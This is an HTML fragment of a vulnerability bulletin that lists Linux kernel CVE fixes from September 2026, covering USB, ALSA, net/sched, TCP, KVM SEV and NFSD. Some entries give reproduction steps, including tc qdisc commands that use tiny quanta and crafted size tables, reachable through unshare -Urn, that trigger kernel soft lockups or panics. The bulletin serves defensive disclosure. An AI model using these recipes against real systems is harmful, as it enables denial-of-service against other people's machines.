&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90029&quot; target=&quot;_blank&quot;&gt;CVE-2026-90029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb-storage: ene_ub6250: fix race between scan work and probe ene_ub6250_probe() calls usb_stor_probe2(), which starts the usb-storage infrastructure and schedules the delayed scan work. The driver then calls ene_get_card_type(), which sends an ENE command through ene_send_scsi_cmd() and the usb-storage bulk transfer helpers. Both the delayed scan work, through usb_stor_Bulk_max_lun(), and ene_get_card_type() use us-&amp;gt;current_urb. The scan work serializes this access with us-&amp;gt;dev_mutex, but the ENE card-type probe does not. If the scan work runs while ene_get_card_type() is still using us-&amp;gt;current_urb, usb_submit_urb() warns that the URB is already active. Serialize ene_get_card_type() with us-&amp;gt;dev_mutex, matching the locking used by the scan path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90031&quot; target=&quot;_blank&quot;&gt;CVE-2026-90031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix OOB write in snd_usbmidi_us122l_output() The snd_usbmidi_us122l_output() picks a count of 2 on anything slower than high speed and never relates it to ep-&amp;gt;max_transfer. The URB buffer holds exactly max_transfer bytes, so a device declaring a one byte bulk endpoint takes two bytes from snd_rawmidi_transmit(), and the memset that pads the rest computes 1 - 2 in int and wraps to SIZE_MAX. Only 0x800e and 0x800f are pinned to nine bytes. The US-122MKII at 0x0644:0x8021 falls to the default and takes usb_maxpacket(), which the USB core only clamps downward. The akai and novation output ops in this file were given the same guard recently. Do the same here.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90033&quot; target=&quot;_blank&quot;&gt;CVE-2026-90033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: image: mdc800: change kmalloc() to kzalloc() Change the kmalloc() calls in usb_mdc800_init() for irq_urb_buffer and download_urb_buffer to kzalloc(), avoiding potential stack leaks if a shorter message is received in mdc800_usb_irq() and mdc800_usb_download_notify()&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90034&quot; target=&quot;_blank&quot;&gt;CVE-2026-90034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: fix division by zero in get_estimated_bw() get_estimated_bw() divides by link-&amp;gt;dpia_bw_alloc_config.bw_granularity, which is zeroed by reset_bw_alloc_struct() and only populated once DP_TUNNELING_BW_ALLOC_CAP_CHANGED has been handled. link_dp_dpia_handle_bw_alloc_status(), the DPCD interrupt handler, calls get_estimated_bw() whenever DP_TUNNELING_ESTIMATED_BW_CHANGED is set, independently of whether DP_TUNNELING_BW_ALLOC_CAP_CHANGED has ever fired for that link. A connected USB4/DPIA tunneling device that reports an estimated-bandwidth change before ever reporting a capability change drives a division by zero in this IRQ path. link_dpia_send_bw_alloc_request() already guards the same bw_granularity division; add the identical guard here rather than introducing a new pattern. (cherry picked from commit f2a961457c33dc34223aad5c9e8971de34a4eed3)&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90035&quot; target=&quot;_blank&quot;&gt;CVE-2026-90035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Guard admin state-revocation walks with NFSD_NET_UP Writing to /proc/fs/nfsd/unlock_filesystem, or sending the NFSD_CMD_UNLOCK_FILESYSTEM or NFSD_CMD_UNLOCK_EXPORT netlink command, walks the NFSv4 client hash tables to revoke open state and cancel async COPY operations. All three handlers gate that walk on nn-&amp;gt;nfsd_serv, but a listener added via portlist or netlink listener_set sets nn-&amp;gt;nfsd_serv before any nfsd thread starts. nfsd_startup_net() has not yet allocated nn-&amp;gt;conf_id_hashtbl, so the walkers dereference a NULL table. A local administrator with CAP_SYS_ADMIN can crash the kernel this way without ever starting the server. nn-&amp;gt;nfsd_serv is set when the service is created, which precedes table allocation. NFSD_NET_UP instead brackets the window where the tables are live: set at the end of nfsd_startup_net() and cleared in nfsd_shutdown_net() after they are freed, both under nfsd_mutex. Gating the three unlock paths on NFSD_NET_UP fixes the startup-time NULL dereference while preserving the earlier post-shutdown use-after-free fix.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90039&quot; target=&quot;_blank&quot;&gt;CVE-2026-90039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: SEV: Forcefully invalidate SNP VMSA if its backing gmem page is zapped Wire up a gmem_invalidate_range() call for SNP VMs, and use it to force vCPUs to reload/recheck their guest-provided VMSA if the backing gmem page is being invalidated, e.g. is being PUNCH_HOLE&#039;d. Use the same core logic to handle invalidations as VMX does for the APIC-access page, as the two concepts are nearly identical: shove the physical address of a page into the vCPU&#039;s control structure: 1. Snapshot the invalidation sequence counter 2. Grab the pfn (from guest_memfd in this case) 3. Acquire mmu_lock for read 4. Re-request reload if retry is needed, otherwise commit the change. Note, the re-request action in #4 is necessary as KVM&#039;s retry logic is fuzzy, i.e. can get false positives. If the guest_memfd page has been dropped, at some point a subsequent reload will fail to get a PFN from guest_memfd, and KVM will fail KVM_RUN. If the retry was due to a false positive, KVM will retry until there are no relevant MMU notifier events (and will retry in the &quot;outer&quot; loop, i.e. will drop locks and resched as needed). Note #2! Take care to invalidate the VMSA when a relevant memslot is DELETED or MOVED, as invalidations in response to PUNCH_HOLE are predicated on memslot bindings (KVM doesn&#039;t know what GFN range(s) to invalidate without a binding). And more importantly, the VMSA mapping requires a memslot, i.e. must be invalidated if its memslots disappears, regardless of the state of the underlying guest_memfd inode. Failure to invalidate the vCPU&#039;s control.vmsa_pa (which is checked by pre_sev_run()) can prevent KVM from properly freeing the page as firmware will reject the RMPUPDATE to reclaim the page with FAIL_INUSE if the vCPU is actively running, i.e. if VMSA page is in-use. That in turn leads to an RMP #PF on the next use, as the page will still be assigned to the SNP VM. SEV-SNP: RMPUPDATE failed for PFN 78d198, pg_level: 1, ret: 3 SEV-SNP: PFN 0x78d198, RMP entry: [0xfff0000000144001 - 0x000000000000000f] CPU: 3 UID: 0 PID: 31345 Comm: sev_snp_vmsa_pu Tainted: G U O Tainted: [U]=USER, [O]=OOT_MODULE Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 34.86.0-102 01/25/2026 Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x54/0x70 rmpupdate+0x12c/0x140 rmp_make_shared+0x3b/0x60 sev_gmem_invalidate+0xe0/0x170 [kvm_amd] delete_from_page_cache_batch+0x1d8/0x220 truncate_inode_pages_range+0x120/0x3d0 kvm_gmem_fallocate+0x19a/0x270 [kvm] vfs_fallocate+0x1bc/0x1f0 __x64_sys_fallocate+0x48/0x70 do_syscall_64+0x10a/0x480 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x496c7e &amp;lt;/TASK&amp;gt; ------------[ cut here ]------------ SEV: Failed to update RMP entry for PFN 0x78d198 error -14 WARNING: arch/x86/kvm/svm/sev.c:5160 at sev_gmem_invalidate+0x126/0x170 [kvm_amd], CPU#3: sev_snp_vmsa_pu/31345 CPU: 3 UID: 0 PID: 31345 Comm: sev_snp_vmsa_pu Tainted: G U O Tainted: [U]=USER, [O]=OOT_MODULE Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 34.86.0-102 01/25/2026 RIP: 0010:sev_gmem_invalidate+0x12b/0x170 [kvm_amd] Call Trace: &amp;lt;TASK&amp;gt; delete_from_page_cache_batch+0x1d8/0x220 truncate_inode_pages_range+0x120/0x3d0 kvm_gmem_fallocate+0x19a/0x270 [kvm] vfs_fallocate+0x1bc/0x1f0 __x64_sys_fallocate+0x48/0x70 do_syscall_64+0x10a/0x480 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x496c7e &amp;lt;/TASK&amp;gt; irq event stamp: 20689 hardirqs last enabled at (20699): [&amp;lt;ffffffff8e76092c&amp;gt;] __console_unlock+0x5c/0x60 hardirqs last disabled at (20708): [&amp;lt;ffffffff8e760911&amp;gt;] __console_unlock+0x41/0x60 softirqs last enabled at (20722): [&amp;lt;ffffffff8e6cd74e&amp;gt;] __irq_exit_rcu+0x7e/0x140 softirqs last disabled at (20717): [&amp;lt;ffffffff8e6cd74e&amp;gt;] __irq_exit_rcu+0x7e/0x140 ---[ end trace 0000000000000000 ]--- BUG: unable to handle page fault for address: ffff99 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90040&quot; target=&quot;_blank&quot;&gt;CVE-2026-90040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: fq: clamp quantum and initial_quantum in change path The fq change path accepts TCA_FQ_QUANTUM in [1, INT_MAX] and TCA_FQ_INITIAL_QUANTUM up to INT_MAX, while fq_init() already clamps to [1, 1&amp;lt;&amp;lt;20]. A user can override the init clamp via tc qdisc change, restoring the small-quantum deficit spin that the init clamp prevents. Narrow iq_range.max to 1&amp;lt;&amp;lt;20 so TCA_FQ_INITIAL_QUANTUM is rejected at parse time. Clamp TCA_FQ_QUANTUM to [256, 1&amp;lt;&amp;lt;20] in fq_change() and fq_init() quantum to [256, 1&amp;lt;&amp;lt;20] for tiny-MTU devices. Conditions to recreate the bug: CONFIG_NET_SCH_FQ=y. Requires CAP_NET_ADMIN (namespace-local via unshare -Urn suffices). tc qdisc add dev dummy0 root fq tc qdisc change dev dummy0 root fq quantum 1 stab data 32768 size_log 15 cell_log 0&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90050&quot; target=&quot;_blank&quot;&gt;CVE-2026-90050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_htb: limit htb_classify inner-class filter hops htb_classify() follows each filter-selected inner class by switching to cl-&amp;gt;filter_list, but never bounds the number of hops. A filter on an inner class can point back to itself or to another inner class that points back, creating an infinite loop in the packet classification path with the qdisc lock held and BH disabled - a soft lockup / panic from a single packet. Bound the traversal with a hop counter and drop the packet with a rate-limited warning once the bound is exceeded. The counter is incremented at the point the inner filter chain is picked up, after the TC_ACT_* switch has consumed the classifier verdict, so a terminal TC_ACT_QUEUED/STOLEN/TRAP on the last permitted chain still sets *qerr to __NET_XMIT_STOLEN and the packet is not charged as a drop by this qdisc or its parent. The bound is TC_HTB_MAXDEPTH, taken from HTB&#039;s own parameters rather than from the qdisc hierarchy depth limit. Class levels run from 0 to TC_HTB_MAXDEPTH - 1, so a traversal that strictly descends in level can take at most TC_HTB_MAXDEPTH hops. That descent is what a sane configuration does, but it is assumed here rather than enforced: htb_find() resolves a classid against every class in the qdisc, so a filter may equally select a sibling or an ancestor. The normal root -&amp;gt; inner -&amp;gt; leaf path takes a single hop, so the bound does not affect legitimate classification. htb_classify() can now return NULL irrespective of CONFIG_NET_CLS_ACT, whereas previously every NULL return sat inside that ifdef. The NULL handler in htb_enqueue() therefore cannot stay conditional either, so drop the ifdef around it. This matches hfsc_enqueue(), which has always handled a NULL class unconditionally. Without it, a kernel built without actions would dereference a NULL class instead of dropping. Conditions to recreate the bug: - CONFIG_NET_SCHED, CONFIG_NET_SCH_HTB, CONFIG_NET_CLS_U32, CONFIG_LOCKUP_DETECTOR. - Create an HTB qdisc on a device (e.g. lo), add an inner class 1:1 with a leaf child 1:10, install a root u32 filter selecting 1:1, and an inner-class u32 filter on 1:1 also selecting 1:1. - Send one packet (ping). On the unfixed kernel the classify loop spins with the qdisc lock held; with softlockup_panic=1 it panics. - Reachable from unprivileged user via unshare -Urn (CAP_NET_ADMIN).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90053&quot; target=&quot;_blank&quot;&gt;CVE-2026-90053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tcp: fix corruption of urgent data on multi-segment retransmit On the normal xmit path, while in urgent mode we refuse to build a multi-segment TSO packet, so every segment gets its own urg_ptr: /* tcp_write_xmit() */ limit = mss_now; if (tso_segs &amp;gt; 1 &amp;amp;&amp;amp; !tcp_urg_mode(tp)) limit = tcp_mss_split_point(...); The retransmit path has no such guard. __tcp_retransmit_skb() builds a segs &amp;gt; 1 skb and hands it to the GSO layer, which only advances th-&amp;gt;seq per segment and copies urg_ptr verbatim: /* __tcp_retransmit_skb() */ len = cur_mss * segs; /* segs &amp;gt; 1, no urg_mode check */ ... /* tcp_gso_segment(): bumps seq only, urg_ptr is copied */ urg_ptr is an offset from the segment&#039;s own seq, so a copied value points at a different place on each segment. The receiver rebuilds the absolute urgent seq as seg.seq + urg_ptr, so it walks a moving urgent point instead of the one OOB byte: seg1 seq 1 urg_ptr 5001 -&amp;gt; urgent @ 5001 (ok) seg2 seq 1001 urg_ptr 5001 -&amp;gt; urgent @ 6001 (wrong, +MSS) seg3 seq 2001 urg_ptr 5001 -&amp;gt; urgent @ 7001 (wrong, +2*MSS) The real OOB byte is never pointed at, so the receiver stops splicing it out and delivers it as normal in-band data, corrupting the stream. Guard the retransmit length like the xmit path: keep segs = 1 while in urgent mode.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90054&quot; target=&quot;_blank&quot;&gt;CVE-2026-90054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: atm: usbatm: fix invalid ci_range initialization syzbot reported a shift-out-of-bounds in __vcc_connect(): UBSAN: shift-out-of-bounds in net/atm/common.c:382:32 shift exponent -1 is negative CPU: 0 UID: 0 PID: 5987 Comm: syz.0.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 08/05/2026 Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120 ubsan_epilogue+0xa/0x30 lib/ubsan.c:233 __ubsan_handle_shift_out_of_bounds+0x36d/0x400 lib/ubsan.c:494 __vcc_connect+0x14b4/0x19c0 net/atm/common.c:382 vcc_connect+0x328/0x8f0 net/atm/common.c:498 pvc_bind+0x272/0x380 net/atm/pvc.c:52 __sys_bind+0x2e3/0x410 net/socket.c:1976 __x64_sys_bind+0x7a/0x90 net/socket.c:1979 ... ATM device ci_range fields (vpi_bits and vci_bits) represent the number of bits supported for VPI and VCI addressing on the device. net/atm/common.c directly uses these fields as bit shift counts: vpi &amp;gt;&amp;gt; dev-&amp;gt;ci_range.vpi_bits vci &amp;gt;&amp;gt; dev-&amp;gt;ci_range.vci_bits 1 &amp;lt;&amp;lt; vcc-&amp;gt;dev-&amp;gt;ci_range.vpi_bits 1 &amp;lt;&amp;lt; vcc-&amp;gt;dev-&amp;gt;ci_range.vci_bits usbatm_atm_init() sets ci_range.vpi_bits and ci_range.vci_bits to ATM_CI_MAX (-1), which is defined in &amp;lt;uapi/linux/atmdev.h&amp;gt; as a sentinel value for userspace ATM_SETCIRANGE requests, not a valid bit count. Shifting by -1 is undefined behavior and triggers UBSAN warnings. ATM UNI cell headers allow up to 8 bits for VPI (0..255) and 16 bits for VCI (0..65535). Initialize vpi_bits to 8 and vci_bits to 16, as done by solos-pci.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90055&quot; target=&quot;_blank&quot;&gt;CVE-2026-90055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: fec: only stop PTP if it was initialized fec_ptp_init() is only called when fep-&amp;gt;bufdesc_ex is available. However, fec_probe() unconditionally calls fec_ptp_stop() on the failed_init path, and fec_drv_remove() unconditionally calls fec_ptp_stop() during device removal. Check fep-&amp;gt;bufdesc_ex before calling fec_ptp_stop() in both paths to avoid stopping PTP when it was not initialized.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90056&quot; target=&quot;_blank&quot;&gt;CVE-2026-90056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: bound qdisc_pkt_len to prevent qdisc soft lockup qdisc_get_stab() accepts a user-supplied size table, and __qdisc_calculate_pkt_len() amplifies qdisc_pkt_len() through the overhead, the size-table data (u16), and size_log (up to STAB_SIZE_LOG_MAX). A crafted stab can therefore set qdisc_pkt_len() to ~1 GiB for an ordinary skb. Per-flow deficit schedulers such as DRR and ETS replenish one quantum per loop iteration; with a tiny quantum (1) they spin billions of times under the qdisc lock, producing a soft lockup / RCU stall as illustrated by vega@nebusec.ai. Cap the final qdisc_pkt_len() to QDISC_PKT_LEN_MAX so the size-table amplification cannot drive deficit schedulers into an unbounded loop. A legitimate size table (e.g. qfq&#039;s overhead 999999999, which is handled by dropping) is still accepted. Introduce cap QDISC_PKT_LEN_MAX (1 &amp;lt;&amp;lt; 20) = 1 MiB which is well above any legitimate single-skb wire length: the largest current skb-&amp;gt;len is GSO_MAX_SIZE (524280), and an ATM-style size table (53/48 cell tax) amplifies that to ~578 KB, both comfortably below 1 MiB. At the same time, 1 MiB bounds the deficit refill loop to ~1M iterations per packet with quantum=1, which completes in a few milliseconds well under the demonstrated softlockup threshold (~10^9 iterations). Conditions to recreate the bug: - CONFIG_NET_SCHED=y, CONFIG_NET_SCH_DRR=y (or CONFIG_NET_SCH_ETS=y). - Attach a DRR (or ETS) root qdisc with a crafted TCA_STAB that amplifies qdisc_pkt_len to ~1 GiB (e.g. size_log=15, data=[32768]). - Add a class with a tiny quantum of 1 and send one small packet; the deficit loop spins billions of times under the qdisc lock and trips the softlockup detector (panic with kernel.softlockup_panic=1). - Reachable as root or from an unprivileged user in a fresh user+net namespace (unshare -Urn) with namespace-local CAP_NET_ADMIN.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90058&quot; target=&quot;_blank&quot;&gt;CVE-2026-90058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: control: Don&#039;t add invalid kcontrols to LED layer The kcontrol LED state layer tries to track the all associated kcontrol elements with naive assumptions that they are readable. But one can create a write-only element that has no get callback (even a user element can do it), and this may lead to a NULL dereference at the call chain of snd_ctl_led_notify(), as found by syzkaller. For avoiding the Oops, add a sanity check of the kcontrol&#039;s info and get callbacks, and just skip the invalid kcontrols before assigning the kctl to the LED layer.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90060&quot; target=&quot;_blank&quot;&gt;CVE-2026-90060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: skip double clone set expressions on element insert Both the dynset and newsetelem path clone the existing set expressions when setting set element expressions if no override expressions are provided. This results in a double clone, once to clone the template set expressions then another clone on the new element. Add a flag to annotate if userspace provides a override expression (ie. expression of the same type of the set but different configuration), otherwise borrow the existing expression from the set. Add conditionals to release expression iif they represent an override. Use this new override_exprs flag to dump the dynset expression override to userspace. This simplifies the existing logic and it also fixes a bug with the connlimit expression which results in a module refcount imbalance WARNING splat when resorting on the default set expressions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90061&quot; target=&quot;_blank&quot;&gt;CVE-2026-90061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio-net: Ensure that TCP packets don&#039;t overflow gso_segs The user can specify any gso_size in a packet crafted with an AF_PACKET PACKET_VNET_HDR socket, even smaller than TCP_MIN_GSO_SIZE = 8. At the same time, GSO_MAX_SIZE = 8 * GSO_MAX_SEGS = 8 * 65535. When the user crafts a packet with gso_size &amp;lt; 8, there is a risk for partial GSO to overflow the 16-bit gso_segs field when dividing the SKB length by gso_size. Adjust gso_size of TCP packets to be at least TCP_MIN_GSO_SIZE = 8. Keep gso_size of UDP GSO packets, as gso_size=1 is valid and explicitly tested at tools/testing/selftests/net/tun.c:649.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90063&quot; target=&quot;_blank&quot;&gt;CVE-2026-90063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/xe: Reject page faults from non-fault-mode scratch VMs Having scratch enabled does not make a VM capable of handling recoverable page faults. Allowing scratch VMs through the ASID lookup also admits dma-fence mode VMs. If such a VM faults on an already valid VMA, the handler reports success without fixing the fault, causing the GPU to retry indefinitely. Only allow fault-mode VMs through the ASID lookup. Fault-mode VMs using scratch remain supported, while faults from 3D VMs are rejected. (cherry picked from commit bfb24a06405b652d37831f3fb66b71d33a6605de)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90064&quot; target=&quot;_blank&quot;&gt;CVE-2026-90064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: release the internal TCP sock on IPPROTO_SMC socket creation failure IPPROTO_SMC sockets create an internal TCP sock (&quot;clcsock&quot;) from the proto-&amp;gt;init hook. When socket creation fails after proto-&amp;gt;init has run - e.g. a cgroup BPF program attached to BPF_CGROUP_INET_SOCK_CREATE denies the socket - sk_common_release() only invokes sk_prot-&amp;gt;destroy if it is set, but neither smc_inet_prot nor smc_inet6_prot defines it, and smc_destruct() returns early unless sk_state is SMC_CLOSED. As a result, every failing socket(AF_INET, SOCK_STREAM, IPPROTO_SMC) call leaks one tcp_sock, so an unprivileged task able to attach a deny-all BPF_CGROUP_INET_SOCK_CREATE program to its own cgroup can grow kernel memory unboundedly. Add a .destroy hook to both protos that releases the clcsock via smc_clcsock_release(). smc_sk_init() hashes the sock into the smc hashinfo before the clcsock is created, and smc_diag dumps walk that hash dereferencing smc-&amp;gt;clcsock without taking clcsock_release_lock, while sk_common_release() calls .destroy before .unhash. Unhash the sock before releasing the clcsock, as __smc_release() does, so a concurrent dump cannot observe the release; the second unhash in sk_common_release() is a no-op.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90065&quot; target=&quot;_blank&quot;&gt;CVE-2026-90065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: samples/ftrace: Fix kthread_stop() on ERR_PTR in ftrace-direct-multi-modify ftrace_direct_multi_init() assigns kthread_run()&#039;s return value to simple_tsk without an IS_ERR() check. When kthread_run() fails it returns ERR_PTR(-ENOMEM), but init still returns 0, so the module loads with simple_tsk holding an error pointer. On unload, ftrace_direct_multi_exit() then passes that ERR_PTR to kthread_stop(), leading to a null-pointer-dereference. Check the return value of kthread_run() with IS_ERR(); on failure, unregister the ftrace direct call and propagate the error code.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90066&quot; target=&quot;_blank&quot;&gt;CVE-2026-90066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: dapm: Fix off-by-one check on the second enum channel The snd_soc_dapm_put_enum_double() rejects item[0] once it reaches e-&amp;gt;items, but it lets item[1] be equal to it. Both go on to snd_soc_enum_item_to_val(), which indexes e-&amp;gt;values with no bound of its own, so an enum with a value table reads one element past the end. The indexing arrived with the MUX consolidation, which relaxed the item[1] check in the same hunk. The value MUX handler it deleted used &amp;gt;= there, and the snd_soc_put_enum_double() in soc-ops.c still does. Only adav80x pairs a value table with two shifts, and its second channel looks accidental, but the control does report two values. Writing three into it reads off the end of adav80x_mux_values. The core catches that only under CONFIG_SND_CTL_INPUT_VALIDATION, which defaults off.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90068&quot; target=&quot;_blank&quot;&gt;CVE-2026-90068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tpm: st33zp24: Return zero on status read failure st33zp24_status() ignores the result of the transport read and returns data even when no byte was received. The I2C transport, for example, skips i2c_master_recv() when the register-select write is short or fails, leaving data uninitialized. The resulting stack value can be interpreted as TPM_STS flags and let status checks complete spuriously. The status callback cannot propagate a transport error. Return zero unless recv() reports exactly one byte. With no status bits set, callers retry or take their existing timeout or error path instead of acting on an invalid status value. This issue was found by a static analysis checker and confirmed by manual source review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
